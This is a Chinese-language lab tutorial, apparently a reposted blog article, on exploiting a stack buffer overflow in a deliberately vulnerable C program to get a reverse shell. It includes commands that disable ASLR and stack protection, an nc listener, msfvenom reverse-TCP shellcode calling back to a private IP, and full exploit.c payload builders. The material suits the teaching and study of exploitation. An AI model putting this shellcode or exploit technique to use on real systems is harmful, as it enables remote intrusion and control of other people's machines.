缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

一、说明

之前写过一篇”缓冲区溢出一:函数调用过程中的堆栈变化及缓冲区溢出利用原理“,道理讲得还可以,但现在看还是需要一个示例来讲解从攻击角度如何实现返回地址的覆盖和执行shellcode。

二、环境准备

2.1 操作系统环境

虚拟环境使用VirtualBox,VirtualBox下载地址:https://www.virtualbox.org/wiki/Downloads

shellcode生成使用VirtualBox的kali,下载后直接用VirtualBox打开.ova文件即可,kali虚拟机下载地址:https://www.kali.org/get-kali/#kali-virtual-machines

(主要是使用kali安装好的metasploit的msfvenom模块来协助生成shellcode,如果自己已有kali或自己装metasploit也可以。)

程序编译运行使用VirtualBox的SeedUbuntu虚拟机,SeedUbuntu虚拟硬盘下载地址:https://pan.zju.edu.cn/share/6c72d40cdc0877833c6b96bd2d

下载后解压,然后在VirtualBox中新建一台使用该虚拟硬盘(.vmdk文件)的虚拟机即可; 系统账户密码为root/seedubuntu、seed/dees。

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

2.2 漏洞程序

存在漏洞的程序如下,整个流程是程序从名为”badfile”的文件中读入517字节,将后使用strcpy函数将其赋值给buffer变量,而buffer最长也仅48个字节长度,这就存在缓冲区溢出。

(程序原意是studentId随便输,这里根据默认优先的思想我先填了个20,大家可以自己改,最后的payload会兼容任意值。)

以下内容保存为stack.c

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */

#include 
#include 
#include <string.h>
int bof(char *str, int studentId)
{
    int bufferSize;
    bufferSize = 12 + studentId%32;
    char buffer[bufferSize];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    int studentId = 20; // please put your student ID
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str,studentId);
    printf("Returned Properly\n");
    return 1;
}

2.3 缓解措施关闭

现在操作系统或编译器引入了多种缓解措施,防范缓冲区溢出漏洞的利用,我们这里只是做一个演示,缓解措施的攻防的属于安全前沿研究了,我们暂不考虚,所以这里将这些缓解措施都关闭掉。

关闭地址空间随机化。地址空间随机后会导致变量存储在的栈地址每次运行是不一样的,对漏洞利用的主要影响一是注入的payload的地址也是变动的,二是payload地址要覆盖返回地址的那个地址(或者叫存储返回地址的地址)也是变动的。使用root执行以下命令地址空间随机化。

sysctl -w kernel.randomize_va_space=0

关闭栈保护。栈保护是指GCC在编译时默认会在变量空间之后添加一个标识,运行时如果标识被覆盖则认为存在溢出程序运行报错。关闭方法是在gcc编译时加上-fno-stack-protector选项。

关闭栈不可执行。变量的值即包括我们注入的payload是存放在堆栈段中的,如果堆栈不可执行那我们注入的payload也就没法执行。关闭方法是在gcc编译时加上-z execstack选项。

2.4 目标对齐

在2.3前提下,利用2.2的stack.c程序的缓冲区溢出漏洞,得到一个反弹shell。

三、攻击实施

3.1 启动一个nc监听

改成你自己的ip地址和想要的端口
nc -lv 192.168.56.102 4444

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

3.2 生成shellcode

这个shellcode要能获取反弹shell,这是我们2.4制定的目标决定的。

这个shellcode应该是原始的十六进制形式,因为2.2的程序为c语言我们攻击的是一个c语言的变量。

我们借助msfvenom生成,为了满足第一个要求我们指定payload格式为linux/x86/shell_reverse_tcp,为了满足第二个要求我们指定输出格式为c语言。

可以看到最终msfvenom帮我们生成了长度为68字节的shellcode

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

翻译成汇编指令如下(我也没具体分析哪几条汇编指令是做什么,这也没必要,总之整体就是去连接192.168.56.102的4444端口就是了)

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
"\x31\xdb"              /*Line 1: xor    %ebx,%ebx */ /* shellcode start total 68 bytes */
"\xf7\xe3"              /*Line 2: mul    %ebx */
"\x53"                  /*Line 3: push   %ebx */
"\x43"                  /*Line 4: inc    %ebx */
"\x53"                  /*Line 5: push   %ebx */
"\x6a\x02"              /*Line 6: push   $0x2 */
"\x89\xe1"              /*Line 7: mov    %esp,%ecx */
"\xb0\x66"              /*Line 8: mov    $0x66,%al */
"\xcd\x80"              /*Line 9: int    $0x80 */
"\x93"                  /*Line 10: xchg   %eax,%ebx */
"\x59"                  /*Line 11: pop    %ecx */
"\xb0\x3f"              /*Line 12: mov    $0x3f,%al */
"\xcd\x80"              /*Line 13: int    $0x80 */
"\x49"                  /*Line 14: dec    %ecx */
"\x79\xf9"              /*Line 15: jns    0xbffff33c */
"\x68\xc0\xa8\x38\x66"  /*Line 16: push   $0x6638a8c0 */
"\x68\x02\x00\x11\x5c"  /*Line 17: push   $0x5c110002 */
"\x89\xe1"                 /*Line 18: mov    %esp,%ecx */
"\xb0\x66"                 /*Line 19: mov    $0x66,%al */
"\x50"                     /*Line 20: push   %eax */
"\x51"                     /*Line 21: push   %ecx */
"\x53"                     /*Line 22: push   %ebx */
"\xb3\x03"                 /*Line 23: mov    $0x3,%bl */
"\x89\xe1"                 /*Line 24: mov    %esp,%ecx */
"\xcd\x80"                 /*Line 25: int    $0x80 */
"\x52"                     /*Line 26: push   %edx */
"\x68\x6e\x2f\x73\x68"     /*Line 27: push   $0x68732f6e */
"\x68\x2f\x2f\x62\x69"     /*Line 28: push   $0x69622f2f */
"\x89\xe3"                 /*Line 29: mov    %esp,%ebx */
"\x52"                     /*Line 30: push   %edx */
"\x53"                     /*Line 31: push   %ebx */
"\x89\xe1"                 /*Line 32: mov    %esp,%ecx */
"\xb0\x0b"                 /*Line 33: mov    $0xb,%al */
"\xcd\x80"                 /*Line 34: int    $0x80 */ /* shellcode end total 68 bytes */

View Code

3.3 生成badfile文件

3.3.1 shellcode地址和shellcode在badfile中的先后顺序

栈向低地址生长,所以一般想法是shellcode在前,填入stack.c中在(相对的)低地址的buffer变量的空间; shellcode地址在后,覆盖处在(相对的)原先的返回地址。

但是栈中的变量向高地址生长,我们生成的shellcode就有68个字节了,而buffer变量最长也只有48个字节,这就导致如果shellcode在前那么一是可能填到返回地址shellcode都还没填完怎么填shellcode地址; 二是即便返回地址前的空间能勉强写完shellcode能在返回地址处写入shellcode地址,这shellcode和返回地址也太近了,返回地址处是返回之后的栈顶,shellcode靠后的指令很可能被自己的入栈动作(push)出栈动作(pop)给擦写掉。

基于以上两个原因,我们不能使用一般的shellcode在前shellcode地址在后的的形式,那如果shellcode地址在前shellcode地址在后该怎么组织呢?

shellcode除了存入buffer变量,其实还存到了str变量,str是上层main函数的变量其存放于main函数的栈中,返回后栈顶移动到的是main函数的栈顶入栈动作(push)不会擦写到存放在str中的shellcode(当然极端情况下如果shellcode有很多pop再来push还是有可能擦写shellcode,一是只能说这情况很少,二是我们可以将shellcode尽量放到str的后半部)。

所以总体的组织形式是:

shellcode地址在前(且使用的是存放在str变量中的shellcode而非buffer中的shellcode。其实即便buffer空间充足想使用buffer中的shellcode还有一个问题,我们的shellcode是有0x00的而strcpy函数复制到0x00就放为字符串结束不再复制了,这个问题还得解决,这也是msf的encoder用途之一这里就不展开了。)

shellcode在后

3.3.2 确定shellcode地址应该写入badfile哪个地址

上一节我们做了一个定性分析,shellcode地址应该写在badfile的前部,但这个前端到底是哪个字节呢,这需要做一个定量分析。

shellcode地址写入badfile地址 = 存方返回地址的地址 – buffer变量地址

所以,我们要找到返回地址,再找存放返回地址的地址,再找buffer变量的地址,最终求出shellcode地址写入badfile地址

现在我们只确定shellcode长什么样,及shellcode前应预留空间给shellcode地址,所以我们按这条件先构建个badfile文件让stack.c能运行起来。

代码如下,保存成exploit.c:

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
/* exploit.c */
/* A program that creates a file containing code for launching shell*/

#include
#include
#include

char shellcode[]= "\x90\x90\x90\x90" /* 0x00000000 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000010 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000020 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000030 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000040 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000050 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000060 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x31\xdb"              /*Line 1: xor    %ebx,%ebx */ /* 0x00000070 */ /* shellcode start total 68 bytes */
"\xf7\xe3"              /*Line 2: mul    %ebx */
"\x53"                  /*Line 3: push   %ebx */
"\x43"                  /*Line 4: inc    %ebx */
"\x53"                  /*Line 5: push   %ebx */
"\x6a\x02"              /*Line 6: push   $0x2 */
"\x89\xe1"              /*Line 7: mov    %esp,%ecx */
"\xb0\x66"              /*Line 8: mov    $0x66,%al */
"\xcd\x80"              /*Line 9: int    $0x80 */
"\x93"                  /*Line 10: xchg   %eax,%ebx */
"\x59"                  /*Line 11: pop    %ecx */
"\xb0\x3f"              /*Line 12: mov    $0x3f,%al */
"\xcd\x80"              /*Line 13: int    $0x80 */
"\x49"                  /*Line 14: dec    %ecx */
"\x79\xf9"              /*Line 15: jns    0xbffff33c */
"\x68\xc0\xa8\x38\x66"  /*Line 16: push   $0x6638a8c0 */
"\x68\x02\x00\x11\x5c"  /*Line 17: push   $0x5c110002 */
"\x89\xe1"                 /*Line 18: mov    %esp,%ecx */
"\xb0\x66"                 /*Line 19: mov    $0x66,%al */
"\x50"                     /*Line 20: push   %eax */
"\x51"                     /*Line 21: push   %ecx */
"\x53"                     /*Line 22: push   %ebx */
"\xb3\x03"                 /*Line 23: mov    $0x3,%bl */
"\x89\xe1"                 /*Line 24: mov    %esp,%ecx */
"\xcd\x80"                 /*Line 25: int    $0x80 */
"\x52"                     /*Line 26: push   %edx */
"\x68\x6e\x2f\x73\x68"     /*Line 27: push   $0x68732f6e */
"\x68\x2f\x2f\x62\x69"     /*Line 28: push   $0x69622f2f */
"\x89\xe3"                 /*Line 29: mov    %esp,%ebx */
"\x52"                     /*Line 30: push   %edx */
"\x53"                     /*Line 31: push   %ebx */
"\x89\xe1"                 /*Line 32: mov    %esp,%ecx */
"\xb0\x0b"                 /*Line 33: mov    $0xb,%al */
"\xcd\x80";                 /*Line 34: int    $0x80 */ /* shellcode end total 68 bytes */

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */
    memcpy(buffer, shellcode, 7*16+68);
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

View Code

编译运行生成badfile文件:

编译
exploit并不是我们要溢出的目标,所以不需要 -fno-stack-protector和 -z execstack这两个参数
gcc -g -o exploit exploit.c

过行生成badfile文件
./exploit

以十六进制查看badfile文件内容
*号表示一直重复上一行的内容
0000205 = 2 * 16 * 16 + 0 * 16 + 5 = 517
hexdump badfile

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

以编译stack.c并用gdb载入调试

编译
gcc -fno-stack-protector -z execstack -g -o stack stack.c

gdb载入调试
gdb ./stack

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

查看调用完bof函数后的返回地址,可以看到返回地址是0x08048584

反汇编main函数
disass main

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

进入bof函数,查看返回地址存放地址和buffer变量地址,我们不能直接获取返回地址存放地址,但他就在buffer变量后不远处,所以我们查看buffer变量及其后远一些位置即可

查看程序源代码1到40行,以查看bof函数代码所在行
l 1,40

在bof函数buffer变量定义后的某行设置断点,以使程序运行在bof内停下
b 15
运行程序run
查看buffer变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节)
x /48xw buffer

可以看到buffer变量在0xbffff270处,返回地址(0x08048584)存放地址为0xbffff2a0

0xbffff2ac – 0xbffff270 = 0x0000003c,所以我们应该在badfile的0x0000003c处填shellcode地址

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

3.3.3 确定shellcode地址

shellcode地址应填在badfile的0x0000003c处,前边我们shellcode前预留的空间有0x0000006f之多,所以我们直接看shellcode地址然后在badfile的0x0000003c处填入即可。

我们不确定shellcode的位置,但他在str变量中,我们直接查看str变量既可

查看str变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节)
x /48xw str

可以看到shellcode位于0xbffff333处

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

3.3.4 重新生成badfile

由上一小结分析可知,我们将原来的badfile的0x0000003c处改成0xbffff333即可。

但一是为了稳妥起见,

一是shellcode地址一般逐陆到0xbffff333前边的地址,然后通过nop(即0x90)滑到0xbffff333,这种方式在这里没什么用,但还是建议养成这个习惯。这里我们选0xbffff323。

二是,一般我们将0x0000003c前后的一片都写成shellcode地址,这种方式在这里没什么用,但还是建议养成这个习惯,另外也是为了兼容stundentID % 32。我们这里将0x00000010到0x00000050全写成shellcode地址。

另外为了str不被strcpy覆盖,在0x00000050之后(shellcode,0x00000070之前)要及早插入0x00,这里就将0x00000054设置为0x00

代码如下,保存成exploit.c:

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
/* exploit.c */
/* A program that creates a file containing code for launching shell*/

#include
#include
#include

char shellcode[]= "\x90\x90\x90\x90" /* 0x00000000 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x26\xf3\xff\xbf" /* 0x00000010 */
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf" /* 0x00000020 */
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf" /* 0x00000030 */
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf" /* 0x00000040 */
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf" /* 0x00000050 */
"\x00\x90\x90\x90" /* 0x00 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000060 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x31\xdb"              /*Line 1: xor    %ebx,%ebx */ /* 0x00000070 */ /* shellcode start total 68 bytes */
"\xf7\xe3"              /*Line 2: mul    %ebx */
"\x53"                  /*Line 3: push   %ebx */
"\x43"                  /*Line 4: inc    %ebx */
"\x53"                  /*Line 5: push   %ebx */
"\x6a\x02"              /*Line 6: push   $0x2 */
"\x89\xe1"              /*Line 7: mov    %esp,%ecx */
"\xb0\x66"              /*Line 8: mov    $0x66,%al */
"\xcd\x80"              /*Line 9: int    $0x80 */
"\x93"                  /*Line 10: xchg   %eax,%ebx */
"\x59"                  /*Line 11: pop    %ecx */
"\xb0\x3f"              /*Line 12: mov    $0x3f,%al */
"\xcd\x80"              /*Line 13: int    $0x80 */
"\x49"                  /*Line 14: dec    %ecx */
"\x79\xf9"              /*Line 15: jns    0xbffff33c */
"\x68\xc0\xa8\x38\x66"  /*Line 16: push   $0x6638a8c0 */
"\x68\x02\x00\x11\x5c"  /*Line 17: push   $0x5c110002 */
"\x89\xe1"                 /*Line 18: mov    %esp,%ecx */
"\xb0\x66"                 /*Line 19: mov    $0x66,%al */
"\x50"                     /*Line 20: push   %eax */
"\x51"                     /*Line 21: push   %ecx */
"\x53"                     /*Line 22: push   %ebx */
"\xb3\x03"                 /*Line 23: mov    $0x3,%bl */
"\x89\xe1"                 /*Line 24: mov    %esp,%ecx */
"\xcd\x80"                 /*Line 25: int    $0x80 */
"\x52"                     /*Line 26: push   %edx */
"\x68\x6e\x2f\x73\x68"     /*Line 27: push   $0x68732f6e */
"\x68\x2f\x2f\x62\x69"     /*Line 28: push   $0x69622f2f */
"\x89\xe3"                 /*Line 29: mov    %esp,%ebx */
"\x52"                     /*Line 30: push   %edx */
"\x53"                     /*Line 31: push   %ebx */
"\x89\xe1"                 /*Line 32: mov    %esp,%ecx */
"\xb0\x0b"                 /*Line 33: mov    $0xb,%al */
"\xcd\x80";                 /*Line 34: int    $0x80 */ /* shellcode end total 68 bytes */

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */
    memcpy(buffer, shellcode, 7*16+68);
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

View Code

重新编译运行重新生成badfile文件:

编译
exploit并不是我们要溢出的目标,所以不需要 -fno-stack-protector和 -z execstack这两个参数
gcc -g -o exploit exploit.c

过行生成badfile文件
./exploit

以十六进制查看badfile文件内容
*号表示一直重复上一行的内容
0000205 = 2 * 16 * 16 + 0 * 16 + 5 = 517
hexdump badfile

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

重新载入stack调试,

查看程序源代码1到40行,以查看bof函数代码所在行
l 1,40

在bof函数buffer变量定义后的某行设置断点,以使程序运行在bof内停下
b 15

运行程序
run

查看buffer变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节)
x /48xw buffer

单步步过执行
执行strcpy(buffer, str)
n

查看buffer变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节)
由于buffer地址值可能被覆盖,所以我们直接将buffer这个符号改成上边翻译出来的地址,0xbffff270
x /48xw 0xbffff270

可以看到原先的返回地址(及其前后)0x08048584被替换成了新的返回地址0xfffff326所替代

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
调出寄存器窗口
layout regs

单条汇编执行
手动输入一次ni回车后,后面都直接回车即可
ni

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

到ret后再回车,可以看到,和预期一样eip指向了0xfffff326

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
直接运行,类似od的f9
c

可以看到派生了一个shell进程

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

回到nc窗口可以看到,收到了一个连接且可以执行命令,至此我们实现了我们的最终目标:获取一个反弹shell。

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

四、问题

4.1 直接运行反弹失败

在gdb中运行stack可以成功反弹,但直接运行总是报”Segmentation fault”等错误,还没搞清楚原因。

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

Original: https://www.cnblogs.com/lsdb/p/15873140.html
Author: 诸子流
Title: 缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/529520/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 微服务的性能监控、压测和调优(转载自知乎:阿里自动化测试群)

    一、何为压力测试 性能压测是什么:就是考察当前 &#x8F6F;&#x4EF6;和 &#x786C;&#x4EF6;环境下,系统所能承受的 &amp…

    Linux 2023年6月8日
    0108
  • n的阶乘前100项。Table of n! for n = 1..100

    n的阶乘前100项 {1,2,6,24,120,720,5040,40320,362880,3628800,39916800,479001600,6227020800,871782…

    Linux 2023年6月6日
    081
  • 关于 QT绝对路径依赖症的解决办法!!

    QT安装正确后,使用Qtcreator开发会非常方便; 即使重装系统后,你不用重新安装直接使用QT开发即可。 但是如果你把这个安装后的开发环境,拷贝到其它电脑或者目录后, 你会发现…

    Linux 2023年6月14日
    088
  • 记一次从源码泄露到getshell(二)

    0x00 前言 文章所述漏洞已经提交至漏洞平台,且所有恶意操作均已复原 0x01 源码泄露 http://www.xxx.com.cn/www.zip 老规矩拿到源码先通关关键词找…

    Linux 2023年5月28日
    0104
  • 【设计模式】Java设计模式-模板模式

    Java设计模式 – 模板模式 😄 不断学习才是王道🔥 继续踏上学习之路,学之分享笔记👊 总有一天我也能像各位大佬一样🏆原创作品,更多关注我CSDN: 一个有梦有戏的人…

    Linux 2023年6月6日
    0149
  • c++ 11 是如何简化你的数据库访问接口的

    之前写过一篇文章专门分析了 c++ 模板编译过程中报的一个错误:《fatal error C1045: 编译器限制 : 链接规范嵌套太深 》,其中涉及到了 qtl —— 一个使用 …

    Linux 2023年6月6日
    097
  • linux 修改文件的创建时间—–touch命令

    1、首先不会用touch 可以自己man touch查看并学习,推出man按q 2、举例 给文件修改时间 touch -mt 201909052248 test.log -m mo…

    Linux 2023年6月13日
    095
  • 在Ubuntu机器上使用war包安装Jenkins

    因为一些需求需要迁移之前使用的Jenkins,原来是按照官方文档使用apt方式安装的,这次搬迁后的机器由于默认不通外网(可以通过代理走外网),因此趁此机会,尝试改用war包方式安装…

    Linux 2023年6月6日
    0113
  • NTP和chrony时间同步

    古代计时方式 ●在远古时期,人类用来确定时间的方式是一些自然界”相对”亘古不变的周期。如地球的公转是为一年,月球的公转是为一月,地球的自转是为一天等,最早的…

    Linux 2023年6月7日
    0110
  • MySQL数据库高可用方案

    一.什么是高可用性: 高可用性=可靠性,它的本质就是通过技术和工具提高可靠性,尽可能长时间保持数据可用和系统运行,实现高可用性的原则,首先要消除单点故障,其次通过冗余机制实现快速恢…

    Linux 2023年6月6日
    0108
  • Redis中使用redis-cli及密码登录

    使用redis-cli登录后如果Redis中设置了密码那么输入密码可能会出现: NOAUTH Authentication required的错。 这个时候可以输入:auth pa…

    Linux 2023年5月28日
    093
  • 【git】合并分支到主干master

    分支合并到master主干上 1.当前为其他分支切换到主分支上: git checkout [&#x4E3B;&#x5206;&#x652F;&#x…

    Linux 2023年6月13日
    0117
  • LeetCode-47. 全排列 II

    题目来源 题目详情 给定一个可包含重复数字的序列 nums , 按任意顺序 返回所有不重复的全排列。 示例 1: 输入: nums = [1,1,2]输出:[[1,1,2],[1,…

    Linux 2023年6月7日
    082
  • [云计算]TCP云架构-思维导图

    博客园 :当前访问的博文已被密码保护 请输入阅读密码: Original: https://www.cnblogs.com/Skybiubiu/p/16276893.htmlAut…

    Linux 2023年6月13日
    082
  • shell 下载aliplayer 的视频

    #!/bin/bash url="http://v.example.com/8dedaec32ca9415eaa8ccd423ee33bf3/" #下载视频索引…

    Linux 2023年5月28日
    0101
  • OpenResty入门

    OpenResty介绍 OpenResty通过汇聚各种设计精良的 Nginx模块(主要由 OpenResty 团队自主开发),从而将 Nginx 有效地变成一个强大的通用 Web …

    Linux 2023年6月8日
    093
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球